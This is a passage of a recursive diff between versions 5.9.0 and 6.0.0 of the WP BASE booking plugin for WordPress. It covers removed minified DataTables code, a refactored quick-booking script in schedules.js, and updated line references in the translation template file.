-c(d).addClass("dtr-inline collapsed");c(d).find("[name]").removeAttr("name");d=c("<div/>").css({width:1,height:1,overflow:"hidden"}).append(d);d.insertBefore(a.table().node());g.each(function(c){c=a.column.index("fromVisible",c);b[c].minWidth=this.offsetWidth||0});d.remove()}},_setColumnVis:function(a,b){var d=this.s.dt,e=b?"":"none";c(d.column(a).header()).css("display",e);c(d.column(a).footer()).css("display",e);d.column(a).nodes().to$().css("display",e)},_tabIndexes:function(){var a=this.s.dt,

-b=a.cells({page:"current"}).nodes().to$(),d=a.settings()[0],e=this.c.details.target;b.filter("[data-dtr-keyboard]").removeData("[data-dtr-keyboard]");c("number"===typeof e?":eq("+e+")":e,a.rows({page:"current"}).nodes()).attr("tabIndex",d.iTabIndex).data("dtr-keyboard",1)}});j.breakpoints=[{name:"desktop",width:Infinity},{name:"tablet-l",width:1024},{name:"tablet-p",width:768},{name:"mobile-l",width:480},{name:"mobile-p",width:320}];j.display={childRow:function(a,b,d){if(b){if(c(a.node()).hasClass("parent"))return a.child(d(),

-"child").show(),!0}else{if(a.child.isShown())return a.child(!1),c(a.node()).removeClass("parent"),!1;a.child(d(),"child").show();c(a.node()).addClass("parent");return!0}},childRowImmediate:function(a,b,d){if(!b&&a.child.isShown()||!a.responsive.hasHidden())return a.child(!1),c(a.node()).removeClass("parent"),!1;a.child(d(),"child").show();c(a.node()).addClass("parent");return!0},modal:function(a){return function(b,d,e){if(d)c("div.dtr-modal-content").empty().append(e());else{var f=function(){g.remove();

-c(k).off("keypress.dtr")},g=c('<div class="dtr-modal"/>').append(c('<div class="dtr-modal-display"/>').append(c('<div class="dtr-modal-content"/>').append(e())).append(c('<div class="dtr-modal-close">&times;</div>').click(function(){f()}))).append(c('<div class="dtr-modal-background"/>').click(function(){f()})).appendTo("body");c(k).on("keyup.dtr",function(a){27===a.keyCode&&(a.stopPropagation(),f())})}a&&a.header&&c("div.dtr-modal-content").prepend("<h2>"+a.header(b)+"</h2>")}}};j.renderer={listHidden:function(){return function(a,

-b,d){return(a=c.map(d,function(a){return a.hidden?'<li data-dtr-index="'+a.columnIndex+'" data-dt-row="'+a.rowIndex+'" data-dt-column="'+a.columnIndex+'"><span class="dtr-title">'+a.title+'</span> <span class="dtr-data">'+a.data+"</span></li>":""}).join(""))?c('<ul data-dtr-index="'+b+'"/>').append(a):!1}},tableAll:function(a){a=c.extend({tableClass:""},a);return function(b,d,e){b=c.map(e,function(a){return'<tr data-dt-row="'+a.rowIndex+'" data-dt-column="'+a.columnIndex+'"><td>'+a.title+":</td> <td>"+

-a.data+"</td></tr>"}).join("");return c('<table class="'+a.tableClass+'" width="100%"/>').append(b)}}};j.defaults={breakpoints:j.breakpoints,auto:!0,details:{display:j.display.childRow,renderer:j.renderer.listHidden(),target:0,type:"inline"},orthogonal:"display"};var o=c.fn.dataTable.Api;o.register("responsive()",function(){return this});o.register("responsive.index()",function(a){a=c(a);return{column:a.data("dtr-index"),row:a.parent().data("dtr-index")}});o.register("responsive.rebuild()",function(){return this.iterator("table",

-function(a){a._responsive&&a._responsive._classLogic()})});o.register("responsive.recalc()",function(){return this.iterator("table",function(a){a._responsive&&(a._responsive._resizeAuto(),a._responsive._resize())})});o.register("responsive.hasHidden()",function(){var a=this.context[0];return a._responsive?-1!==c.inArray(!1,a._responsive.s.current):!1});j.version="2.1.0";c.fn.dataTable.Responsive=j;c.fn.DataTable.Responsive=j;c(k).on("preInit.dt.dtr",function(a,b){if("dt"===a.namespace&&(c(b.nTable).hasClass("responsive")||

-c(b.nTable).hasClass("dt-responsive")||b.oInit.responsive||m.defaults.responsive)){var d=b.oInit.responsive;!1!==d&&new j(b,c.isPlainObject(d)?d:{})}});return j});

-

-/*!

- DataTables jQuery UI integration

- ©2011-2014 SpryMedia Ltd - datatables.net/license

-*/

-(function(a){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(b){return a(b,window,document)}):"object"===typeof exports?module.exports=function(b,d){b||(b=window);if(!d||!d.fn.dataTable)d=require("datatables.net")(b,d).$;return a(d,b,b.document)}:a(jQuery,window,document)})(function(a){var b=a.fn.dataTable;a.extend(!0,b.defaults,{dom:'<"fg-toolbar ui-toolbar ui-widget-header ui-helper-clearfix ui-corner-tl ui-corner-tr"lfr>t<"fg-toolbar ui-toolbar ui-widget-header ui-helper-clearfix ui-corner-bl ui-corner-br"ip>',

-renderer:"jqueryui"});a.extend(b.ext.classes,{sWrapper:"dataTables_wrapper dt-jqueryui",sPageButton:"fg-button ui-button ui-state-default",sPageButtonActive:"ui-state-disabled",sPageButtonDisabled:"ui-state-disabled",sPaging:"dataTables_paginate fg-buttonset ui-buttonset fg-buttonset-multi ui-buttonset-multi paging_",sSortAsc:"ui-state-default sorting_asc",sSortDesc:"ui-state-default sorting_desc",sSortable:"ui-state-default sorting",sSortableAsc:"ui-state-default sorting_asc_disabled",sSortableDesc:"ui-state-default sorting_desc_disabled",

-sSortableNone:"ui-state-default sorting_disabled",sSortIcon:"DataTables_sort_icon",sScrollHead:"dataTables_scrollHead ui-state-default",sScrollFoot:"dataTables_scrollFoot ui-state-default",sHeaderTH:"ui-state-default",sFooterTH:"ui-state-default"});b.ext.renderer.header.jqueryui=function(b,h,e,c){var f="css_right ui-icon ui-icon-carat-2-n-s",g=-1!==a.inArray("asc",e.asSorting),i=-1!==a.inArray("desc",e.asSorting);!e.bSortable||!g&&!i?f="":g&&!i?f="css_right ui-icon ui-icon-carat-1-n":!g&&i&&(f="css_right ui-icon ui-icon-carat-1-s");

-a("<div/>").addClass("DataTables_sort_wrapper").append(h.contents()).append(a("<span/>").addClass(c.sSortIcon+" "+f)).appendTo(h);a(b.nTable).on("order.dt",function(a,g,i,j){b===g&&(a=e.idx,h.removeClass(c.sSortAsc+" "+c.sSortDesc).addClass("asc"==j[a]?c.sSortAsc:"desc"==j[a]?c.sSortDesc:e.sSortingClass),h.find("span."+c.sSortIcon).removeClass("css_right ui-icon ui-icon-triangle-1-n css_right ui-icon ui-icon-triangle-1-s css_right ui-icon ui-icon-carat-2-n-s css_right ui-icon ui-icon-carat-1-n css_right ui-icon ui-icon-carat-1-s").addClass("asc"==

-j[a]?"css_right ui-icon ui-icon-triangle-1-n":"desc"==j[a]?"css_right ui-icon ui-icon-triangle-1-s":f))})};b.TableTools&&a.extend(!0,b.TableTools.classes,{container:"DTTT_container ui-buttonset ui-buttonset-multi",buttons:{normal:"DTTT_button ui-button ui-state-default"},collection:{container:"DTTT_collection ui-buttonset ui-buttonset-multi"}});return b});

-

-/*!

- jQuery UI integration for DataTables' Responsive

- ©2015 SpryMedia Ltd - datatables.net/license

-*/

-(function(c){"function"===typeof define&&define.amd?define(["jquery","datatables.net-jqui","datatables.net-responsive"],function(a){return c(a,window,document)}):"object"===typeof exports?module.exports=function(a,b){a||(a=window);if(!b||!b.fn.dataTable)b=require("datatables.net-jqui")(a,b).$;b.fn.dataTable.Responsive||require("datatables.net-responsive")(a,b);return c(b,a,a.document)}:c(jQuery,window,document)})(function(c){var a=c.fn.dataTable,b=a.Responsive.display,f=b.modal;b.modal=function(a){return function(b,

-d,e){c.fn.dialog?d||c("<div/>").append(e()).appendTo("body").dialog(c.extend(!0,{title:a&&a.header?a.header(b):"",width:500},a.dialog)):f(b,d,e)}};return a.Responsive});

-

 /**

+ * scrollTo

  * Copyright (c) 2007-2015 Ariel Flesler - aflesler ○ gmail • com | http://flesler.blogspot.com

  * Licensed under MIT

  * @author Ariel Flesler

Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js: locale
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/schedules.js /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/schedules.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/schedules.js	2026-01-06 00:53:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/schedules.js	2026-03-10 03:48:28.000000000 +0000
@@ -253,511 +253,6 @@
 
 (function ($) {
 
-    /**
-	 * Add/edit/save bookings quickly
-     */
-    var WPB_Quickbook = {
-
-        init: function (task, arg, calendar) {
-            var me = this;
-
-			// me.calendar = calendar;
-			// me.arg = arg;
-			me.wrap = $(document).find(".app-panel-wrap");
-			me.panel = $(document).find(".app-panel");
-
-            var table = $("div.app-manage");
-
-            table.on("click", ".save", function (e) {
-				e.preventDefault();
-                me.save(e);
-            });
-
-            table.on("change", "select.app_extras,.app-admin-lsw,select[name='start_time'],select[name='status'],select.app_duration,.app-special-select", function (e) {
-                me.updateEdit($(e.target));
-            });
-
-			var cursorTimer;
-            table.on("keyup", "input[name='app_seats'],.app-special-text", function (e) {
-				clearTimeout(cursorTimer);
-				cursorTimer = setTimeout(function () {
-					me.updateEdit($(e.target));
-				}, 500);
-            });
-
-            table.on("focus", ".datepicker", function (e) {
-				if ( !$(this).prop( "readonly" ) ) {
-					me.datePicker(e);
-				}
-            });
-
-			/* Cancel */
-            table.on("click", ".cancel", function (e) {
-                me.wrap.removeClass("open");
-            });
-
-            /* Redraw multiselect */
-            $(window).resize(function () {
-                $.each($(".app_users,.app_extras"), function (ignore, val) {
-                    $this = $(val);
-                    if ($this.data().hasOwnProperty("echMultiselect")) {
-                        $this.multiselect("refresh");
-                    }
-                });
-            });
-
-        },
-
-        /**
-         * Read all field values of a row (par)
-         * @param par   object  Possibly a row in the table under which fields will be read
-         */
-        readData: function (par) {
-            var table = par.parents("div.app-manage");
-
-            var app_user_data = {};
-            $.each(_app_.user_fields, function (ignore, v) {
-                app_user_data[v] = par.find("input[name='" + v + "']").val();
-            });
-
-            var postData = {
-				wpb_ajax: true,
-				admin_edit: true,
-				user: par.find("select[name='user'] option:selected").val(),
-				create_user: par.find("input[name='create_user']").is(":checked") ? 1 : 0,
-				create_user_check: par.find("input[name='create_user_check']").val(),
-				name: par.find("input[name='cname']").val(),
-				app_user_data: JSON.stringify(app_user_data),
-				location: par.find("select[name='location'] option:selected").val() || 0,
-				service: par.find("select[name='service'] option:selected").val(),
-				worker: par.find(".app_select_workers").val() || 0,
-				start_date: par.find("input[name='start_date']").val(),
-				start_time: par.find("select[name='start_time'] option:selected").val(),
-				end_date: par.find("input[name='end_date']").val(),
-				end_time: par.find("select[name='end_time'] option:selected").val(),
-				status: par.find("select[name='status'] option:selected").val(),
-				app_id: par.find("input[name='app_id']").val(),
-				app_seats: par.find(".app_seats").val(),
-				app_duration: par.find("select[name='app_duration'] option:selected").val(),
-				send_email: par.find("input[name='send_email']").is(":checked") ? 1 : 0,
-				only_own: table.data("only_own"),
-				ajax_nonce: _app_.iedit_nonce,
-				is_account_page: _app_.is.account_page ? 1 : 0,
-				is_store_page: _app_.is.store_page ? 1 : 0
-            };
-
-			/* Add special values to post data */
-			var postSpecialData = {};
-
-			par.find("input[class*=app-special-text], select[class*=app-special-select]").each( function(){
-				var sp_name = $(this).attr("name");
-				var sp_value = $(this).attr("type") === "checkbox" ? ((this).checked ? 1 : 0) : $(this).val();
-				postSpecialData[sp_name] = sp_value;
-			});
-
-			$.extend(postData, postSpecialData);
-			
-            var udfs = {};
-            $.each(_app_.udf_ids, function (ignore, v) {
-                var field = par.find(".app-udf-field-entry-" + v);
-                if (parseInt(field.length) > 0) {
-                    if (field.hasClass("app-udf-checkbox")) {
-                        udfs["udf_" + v] = field.is(":checked") ? 1 : 0;
-                    } else {
-                        udfs["udf_" + v] = field.val();
-                    }
-                }
-            });
-            postData = $.extend(postData, {
-						udf_data: JSON.stringify(udfs)
-                    });			
-
-            return postData;
-        },
-
-        /**
-         * Edit a booking
-         */
-        upsert: function (task, arg, calendar) {
-            var me = this;
-			var resource_id = typeof arg.resource === "undefined" ? 0 : arg.resource.id;
-			me.calendar = calendar;
-
-			var data = {
-                wpb_ajax: true,
-				action: "app_quick_book_upsert",
-				app_id: task == "edit" ? arg.event.id : 0,
-				worker: task == "add" ? resource_id : 0,
-				updated: task == "add" && resource_id ? "worker" : "",
-				app_timestamp: task == "add" ? arg.startStr : 0,
-                ajax_nonce: _app_.iedit_nonce,
-				is_account_page: _app_.is.account_page ? 1 : 0,
-				is_store_page: _app_.is.store_page ? 1 : 0
-            };
-
-			me.panel.empty();
-			me.wrap.addClass("open");
-
-            $.post(_app_.ajax_url, data, function (r) {
-                if (r && r.error) {
-                    window.alert(r.error);
-                } else if (r) {
-                    var iedit_row = r.result;
-                    var insertedRow = $(iedit_row).appendTo(me.panel);
-                    insertedRow.find(".inline-edit-col .blocked-days")
-                                .val(r.blocked_days).data("blocked", r.blocked_days);
-                    var dpicker_id = insertedRow.find(".datepicker").attr("id");
-                    $("#" + dpicker_id).datepicker("refresh");
-                    if (parseInt(r.locked) > 0) {
-                        insertedRow.data("locked", true);
-                    }
-                    me.configureMS(r.id);
-                    me.configQtip(r.id);
-                } else {
-                    window.alert(_app_.con_error);
-                }
-            }, "json");
-        },
-
-        /**
-         * Updates fields during edit if lsw or date/time fields changed
-         */
-        updateEdit: function (obj) {
-            var me = this;
-            var par = obj.parents(".inline-edit-row");
-			var table = par.parents("div.app-manage");
-			var only_own = table.data("only_own");
-
-            if (obj.hasClass("app_seats") && !obj.val()) {
-                return false;
-            }
-
-            $.infoPanel();
-
-            if ($.inArray(parseInt(obj.val()), _app_.daily_services) === -1) {
-                $(".app-is-daily").text("");
-                par.find(".app-admin-time,input[name='end_date']")
-                .css("text-decoration", "none")
-                .attr("disabled", false);
-            } else {
-                // Daily
-                $(".app-is-daily").text(_app_.daily_text);
-                par.find(".app-admin-time,input[name='end_date']")
-                .css("text-decoration", "line-through")
-                .attr("disabled", true);
-            }
-
-            par.find(".app-admin-lsw").attr("disabled", "disabled");
-            var locSel = par.find("select[name='location']");
-            var serviceSel = par.find("select[name='service']");
-            var workerSel = par.find(".app_select_workers");
-            var startTimeSel = par.find("select[name='start_time']");
-            var endTimeSel = par.find("select[name='end_time']");
-
-			var durationLabel = par.find(".app_iedit_duration");
-			var durationSel = durationLabel.find(".input-text-wrap");
-			var repeatUnitLabel = par.find(".app_iedit_repeat_unit");
-			var repeatUnitSel = repeatUnitLabel.find(".input-text-wrap");
-			var repeatNumberLabel = par.find(".app_iedit_repeat_count");
-			var repeatNumberSel = repeatNumberLabel.find(".input-text-wrap");
-
-            var postData = me.readData(par);
-            postData.action = "app_quick_book_update";
-			if (parseInt(par.find(".is_event").val()) > 0 ) {
-				postData.is_event = true;
-			}
-			// if (obj.hasClass("app_select_workers") && obj.val()) {
-				// postData.updated = "worker";
-			// }
-
-            $.post(_app_.ajax_url, postData, function (r) {
-
-                par.find(".app-admin-lsw").attr("disabled", false);
-
-                if (r && r.error) {
-                    window.alert(r.error);
-                } else if (r) {
-					var notice = r.notice || "";
-					par.find(".app-admin-notice").empty().html(notice);
-					if (r.event_start) {
-						par.find("[name='event_start']").replaceWith(r.event_start);
-					}
-					if (r.event_end) {
-						par.find("[name='event_end']").replaceWith(r.event_end);
-					}
-                    if (r.end_date) {
-                        var end_date_fld = par.find("input[name='end_date']");
-                        end_date_fld.attr("readonly", false);
-                        end_date_fld.val(r.end_date);
-                        end_date_fld.attr("readonly", true);
-                    }
-                    if (r.start_time_sel) {
-                        startTimeSel.replaceWith(r.start_time_sel);
-                    }
-                    if (r.end_time_sel) {
-                        endTimeSel.replaceWith(r.end_time_sel);
-                    }
-                    if (r.locations_sel) {
-                        locSel.replaceWith(r.locations_sel);
-                    }
-                    if (r.services_sel) {
-                        serviceSel.replaceWith(r.services_sel);
-                    }
-					if (r.durations_sel) {
-                        durationSel.html(r.durations_sel);
-						durationLabel.show();
-                    } else {
-						durationLabel.hide();
-					}
-					if (r.repeat_unit_sel) {
-						repeatUnitSel.html(r.repeat_unit_sel);
-						repeatUnitLabel.show();
-                    } else {
-						repeatUnitLabel.hide();
-					}
-					if (r.repeat_count_sel) {
-						repeatNumberSel.html(r.repeat_count_sel);
-						repeatNumberLabel.show();
-                    } else {
-						repeatNumberLabel.hide();
-					}
-                    if (r.workers_sel) {
-						workerSel.siblings(".worker-name").remove();
-                        workerSel.replaceWith(r.workers_sel);
-                    }
-
-                    par.find(".blocked-days").val(r.blocked_days).data("blocked", r.blocked_days);
-                    var dpicker_id = par.find(".datepicker").attr("id");
-                    $("#" + dpicker_id).datepicker("refresh");
-
-                } else {
-                    window.alert(_app_.con_error);
-                }
-            }, "json");
-        },
-
-        /**
-         * Save a booking
-         */
-        save: function (e) {
-            var me = this;
-            var $this = $(e.target);
-            var sPar = $this.parents(".inline-edit-row");
-            $this.attr("disabled", true);
-            $.infoPanel("saving");
-            sPar.find(".waiting").show();
-
-            var postData = me.readData(sPar);
-            postData.action = "app_quick_book_save";
-			if (parseInt(sPar.find(".is_event").val()) > 0 ) {
-				postData.is_event = true;
-			}
-
-            $.post(_app_.ajax_url, postData, function (r) {
-                $this.attr("disabled", false);
-                sPar.find(".waiting").hide();
-
-                if (!r) {
-                    window.alert(_app_.con_error);
-                    return false;
-                }
-                var emailMsg = r.emailMsg ? " " + r.emailMsg : "";
-                if (r.error) {
-                    sPar.find(".error")
-                    .html("<span class='app-error'>" + r.error + emailMsg + "</span>")
-                    .show().delay(10000).fadeOut("slow");
-                } else if (r.no_change) {
-                    sPar.find(".error")
-                    .html("<span class='app-b'>" + r.no_change + emailMsg + "</span>")
-                    .show().delay(10000).fadeOut("slow");
-                } else if (r.result) {
-					sPar.find(".error")
-					.html("<span class='app-success'>" + r.result + emailMsg + "</span>")
-					.show().delay(10000).fadeOut("slow");
-
-					r.target = $this;
-					$(document).trigger("app-admin-booking-saved", r);
-
-					setTimeout(function () {
-						me.wrap.removeClass("open");
-					}, 3000);
-
-					if ( r.event ) {
-						if (r.inserted) {
-							me.calendar.addEvent( r.event );
-						} else {
-							me.calendar.updateEvent( r.event );
-						}
-					}
-                } else if (emailMsg) {
-                    sPar.find(".error")
-                    .html("<span class='app-success'>" + emailMsg + "</span>")
-                    .show().delay(10000).fadeOut("slow");
-				}
-            }, "json");
-        },
-
-        /**
-         * Populate userdata upon user selection
-         */
-        populateUser: function (me) {
-            var sel_user = parseInt(me.val());
-            var par = me.parents(".inline-edit-col");
-            if (sel_user === 0) {
-                // Clear fields for unregistered user
-                $.each(_app_.user_fields, function (ignore, v) {
-                    par.find(".app_iedit_" + v + " input").val("");
-                });
-				par.find(".app-quick-book-user-fields").show();
-				par.find(".app_iedit_create_user").show();
-                return false;
-            }
-            $.infoPanel("reading");
-			par.find(".app-quick-book-user-fields").hide();
-			par.find(".app_iedit_create_user").hide();
-            var data = {
-                action: "app_populate_user",
-                user_id: sel_user,
-                ajax_nonce: _app_.iedit_nonce
-            };
-            $.post(_app_.ajax_url, data, function (r) {
-                if (r && r.error) {
-                    window.alert(r.error);
-                } else if (r) {
-					par.find(".app_iedit_create_user :input").prop("checked", false);
-                    $.each(r, function (i, v) {
-                        par.find(".app_iedit_" + i + " :input").val(v);
-                    });
-                } else {
-                    window.alert(_app_.con_error);
-                }
-            }, "json");
-        },
-
-        /**
-         * Initiates Multiselect for users and extras
-         */
-        configureMS: function (id) {
-            var me = this;
-            var $this = $("#app_users_" + id);
-
-            $("#app_extras_" + id).multiselect({
-                selectedList: 3,
-                buttonWidth: "100%",
-                classes: "app_extras app-ms-small"
-            }).multiselectfilter();
-
-			if ( _app_.is.msUsers ) {
-				$this.multiselect({
-					openEffect: null,
-					closeEffect: null,
-					menuHeight: 300,
-					selectedList: 1,
-					buttonWidth: "100%",
-					classes: "app_users app-ms-small app_users_admin app-users-quick-book",
-					close: function () {
-						me.populateUser($this);
-					}
-				}).multiselectfilter();
-			}
-
-			$(document).trigger("app-configure-ms", id);
-        },
-
-        /**
-         * Initiate datepicker upon focus
-         */
-        datePicker: function (e) {
-            var me = this;
-            var $this = $(e.target);
-            if ($this.data("focused") !== "yes") {
-                $this.datepicker({
-                    dateFormat: _app_.js_date_format,
-                    firstDay: _app_.start_of_week,
-                    onSelect: function (dateText) {
-                        if ($this.attr("name") === "start_date") {
-                            $this.parents(".inline-edit-col")
-                            .find("input[name='end_date']")
-                            .datepicker("setDate", dateText);
-                            me.updateEdit($this);
-                        }
-                    },
-                    beforeShowDay: function (date) {
-                        var string = $.datepicker.formatDate("yy-mm-dd", date);
-                        var datelist = $this.parents(".inline-edit-col").find(".blocked-days").data("blocked");
-                        if (datelist) {
-                            return [$.inArray(string, datelist) === -1];
-                        } else {
-                            return [true];
-                        }
-                    }
-                });
-            }
-            $this.data("focused", "yes");
-        },
-
-        /**
-         * Initiates qtip
-         */
-        configQtip: function (id) {
-            var edit_row = $(".inline-edit-row");
-            edit_row.find("[title][title!='']").each(function (ignore, val) {
-                var $this = $(val);
-                var title = $this.attr("title");
-                var ttip = title ? title.replace(/●/g, "<br />").replace("/|/", "<br/>") : "";
-
-                $this.qtip({
-                    content: {
-                        text: ttip
-                    },
-                    hide: _app_.qtipHide,
-                    position: _app_.qtipPos,
-                    style: _app_.qtipYellow
-                });
-            });
-
-            var cacheCl = "app-payment-cache-" + id;
-            var cache = $("<div class='" + cacheCl + "' />");
-            var abbrPayment = $("#app-payment-ttip-" + id);
-
-            abbrPayment.qtip({
-                overwrite: true,
-                content: {
-                    text: function (ignore, api) {
-                        if (parseInt($(document).find("." + cacheCl).length) > 0) {
-                            return $(document).find("." + cacheCl).html();
-                        }
-                        api.elements.content.html(_app_.loading);
-                        return $.ajax({
-                            url: _app_.ajax_url,
-                            type: "POST",
-                            dataType: "json",
-                            data: {
-                                app_id: abbrPayment.parents(".inline-edit-row")
-                                .find("input[name='app_id']").val(),
-                                action: "app_show_payment_in_tooltip"
-                            }
-                        })
-                        .then(function (res) {
-                            var content = res.result;
-                            if (content) {
-                                cache.html(content).appendTo($(document.body)).hide();
-                            }
-                            return content;
-                        }, function (ignore, status, error) {
-                            api.set("content.text", status + ": " + error);
-                        });
-                    }
-                },
-                hide: _app_.qtipHide,
-                position: _app_.qtipPos,
-                style: _app_.qtipSmall
-            });
-        }
-    };
-    WPB_Quickbook.init();
-
-
     let calendar;
 
     let Calendar = function ($container, options) {
@@ -826,7 +321,7 @@
                 }
                 arg.jsEvent.stopPropagation();
 
-				WPB_Quickbook.upsert( 'edit', arg, calendar );
+				$.WPB_Quickbook.upsert( 'edit', arg, calendar );
 			},
             eventContent: function (arg) {
 
@@ -875,6 +370,8 @@
             },
 			eventSources: [{
 				events: function(arg) {
+					$.infoPanel( 'loading' );
+					
 					return $.ajax({
 						url: _app_.ajax_url,
 						type: "POST",
@@ -888,6 +385,7 @@
 							worker_ids: $container.data("worker_ids"),
 							location_ids: $container.data("location_ids"),
 							service_ids: $container.data("service_ids"),
+							view: $.getCookie('app_schedule_view'),
 							is_account_page: _app_.is.account_page ? 1 : 0,
 							is_store_page: _app_.is.store_page ? 1 : 0
 						}
@@ -950,13 +448,13 @@
 			selectMinDistance: -1,
             select: function (arg) {
 
-				if ( !_app_.is.editable ) {
+				if ( !_app_.is.editable || _app_.is.client ) {
 					return;
 				}
 
 				arg.jsEvent.stopPropagation();
 
-                WPB_Quickbook.upsert( 'add', arg, calendar );
+                $.WPB_Quickbook.upsert( 'add', arg, calendar );
             },
             slotDuration: _app_.slot_duration,
             slotMinTime: _app_.wh_starts,
@@ -1056,24 +554,26 @@
     /**
      * Init
      */
-    $.WPB_Schedule = new AppSchedule($calendar, {
-        calendar: {
-			height: '100%',
-            headerToolbar: headerToolbar,
-			resources: workers,
-            view: lastView,
-			date: $.getCookie('app_schedule_date') || newDate
-        },
-        viewChanged: function (view) {
-            $.setCookie('app_schedule_view', view.type);
-			if ( view.type == 'resourceTimelineDay' ) {
-				$.WPB_Schedule.ec.refetchEvents();
+	 if ( $calendar.length ) {
+		$.WPB_Schedule = new AppSchedule($calendar, {
+			calendar: {
+				height: '100%',
+				headerToolbar: headerToolbar,
+				resources: workers,
+				view: lastView,
+				date: $.getCookie('app_schedule_date') || newDate
+			},
+			viewChanged: function (view) {
+				$.setCookie('app_schedule_view', view.type);
+				if ( view.type == 'resourceTimelineDay' ) {
+					$.WPB_Schedule.ec.refetchEvents();
+				}
 			}
-        }
-    });
-	
+		});
+	 }
+
 	function drawConnections(task) {
-		setTimeout(function(){ 
+		setTimeout(function(){
 			var conns = $(".app-js-schedules").data("conns");
 			$.each( conns, function(i, v) {
 				// $().connections({ from: ".app-" + v, to: ".conn-" + v });
@@ -1081,11 +581,11 @@
 			});
 		}, 10);
 	}
-	
+
 	$(document).on("app-ec-loaded", function() {
 		// drawConnections();
-	});	
-	
+	});
+
 	$(window).on("resize", function() {
 		// drawConnections("update");
 	});
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/languages/wp-base.pot /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/languages/wp-base.pot
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/languages/wp-base.pot	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/languages/wp-base.pot	2026-03-10 03:42:22.000000000 +0000
@@ -2,7 +2,7 @@
 msgid ""
 msgstr ""
 "Project-Id-Version: WP BASE Booking of Appointments, Services and Events\n"
-"POT-Creation-Date: 2026-01-04 09:03+0700\n"
+"POT-Creation-Date: 2026-03-09 15:48+0700\n"
 "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
 "Last-Translator: \n"
 "Language-Team: \n"
@@ -72,8 +72,9 @@
 msgstr ""
 
 #: includes/addons.php:653
+#: includes/addons/multi-vendor/admin/commissions-list.php:775
 #: includes/addons/multi-vendor/admin/unconfirmed.php:738
-#: includes/custom-texts.php:808 includes/schedules.php:1131
+#: includes/custom-texts.php:817 includes/schedules.php:1343
 msgid "Apply"
 msgstr ""
 
@@ -83,7 +84,7 @@
 
 #: includes/addons.php:661 includes/addons/locations/locations-list.php:1025
 #: includes/addons/service-providers/workers-list.php:1128
-#: includes/admin/help.php:680 includes/admin/services-list.php:1556
+#: includes/admin/help.php:680 includes/admin/services-list.php:1557
 #: includes/admin/tinymce.php:275
 msgid "Description"
 msgstr ""
@@ -117,16 +118,16 @@
 msgstr ""
 
 #: includes/addons.php:783
-#: includes/addons/multi-vendor/admin/commissions-list.php:624
-#: includes/addons/multi-vendor/admin/commissions-list.php:1162
+#: includes/addons/multi-vendor/admin/commissions-list.php:631
+#: includes/addons/multi-vendor/admin/commissions-list.php:1229
 #: includes/addons/multi-vendor/admin/vendors-list.php:430
 #: includes/addons/multi-vendor/admin/vendors-list.php:890
-#: includes/admin/bookings.php:1737 includes/custom-texts.php:1111
-#: includes/custom-texts.php:1313 includes/schedules.php:464
+#: includes/admin/bookings.php:1737 includes/custom-texts.php:1118
+#: includes/custom-texts.php:1318 includes/schedules.php:479
 msgid "Status"
 msgstr ""
 
-#: includes/addons.php:784 includes/custom-texts.php:782
+#: includes/addons.php:784 includes/custom-texts.php:783
 msgid "Action"
 msgstr ""
 
@@ -240,7 +241,7 @@
 
 #: includes/addons/2checkout/2checkout.php:306
 #: includes/addons/authorizenet-aim/authorizenet-aim.php:373
-#: includes/addons/credits/credits.php:1548
+#: includes/addons/credits/credits.php:1552
 #: includes/addons/stripe/stripe.php:450
 msgid "Mode"
 msgstr ""
@@ -293,7 +294,7 @@
 msgid "Check \"mode\" parameter of Book in Flex View shortcode"
 msgstr ""
 
-#: includes/addons/advanced-features.php:250 includes/front-listing.php:264
+#: includes/addons/advanced-features.php:250 includes/front-listing.php:345
 #: includes/front.php:1147
 #, php-format
 msgid "Hard limit activated. Execution time: %s secs."
@@ -525,7 +526,7 @@
 msgstr ""
 
 #: includes/addons/advanced-features/trial-services.php:54
-#: includes/constant-data.php:642
+#: includes/constant-data.php:660
 msgid "Trial Services"
 msgstr ""
 
@@ -561,8 +562,9 @@
 msgstr ""
 
 #: includes/addons/advanced-features/widgets-pro-child.php:195
-#: includes/addons/multi-vendor/admin/commissions-list.php:302
-#: includes/custom-texts.php:919 includes/schedules.php:1008
+#: includes/addons/multi-vendor/admin/commissions-list.php:309
+#: includes/admin/service-rte.php:196 includes/custom-texts.php:927
+#: includes/functions.listing.php:809
 msgid "Close"
 msgstr ""
 
@@ -580,7 +582,7 @@
 
 #: includes/addons/advanced-features/widgets-pro-child.php:441
 #: includes/addons/paypal-standard/paypal-standard.php:509
-#: includes/custom-texts.php:1346 includes/widget-helper.php:145
+#: includes/custom-texts.php:1352 includes/widget-helper.php:145
 msgid "Unknown"
 msgstr ""
 
@@ -601,7 +603,7 @@
 msgstr ""
 
 #: includes/addons/advanced-features/widgets-pro-child.php:512
-#: includes/admin/global-settings.php:741 includes/functions.internal.php:1663
+#: includes/admin/global-settings.php:875 includes/functions.internal.php:1663
 #: includes/notices.php:258
 msgid "Click to toggle details"
 msgstr ""
@@ -664,7 +666,7 @@
 
 #: includes/addons/authorizenet-aim/authorizenet-aim.php:287
 #: includes/addons/google-calendar.php:2670
-#: includes/addons/google-calendar.php:2720 includes/custom-texts.php:1325
+#: includes/addons/google-calendar.php:2720 includes/custom-texts.php:1330
 msgid "Test"
 msgstr ""
 
@@ -730,9 +732,9 @@
 #: includes/addons/multi-vendor/admin/vendor-settings.php:664
 #: includes/addons/multi-vendor/admin/vendor-settings.php:666
 #: includes/admin/setup.php:227 includes/admin/setup.php:906
-#: includes/admin/setup.php:917 includes/constant-data.php:626
-#: includes/constant-data.php:628 includes/constant-data.php:631
-#: includes/functions.internal.php:2934
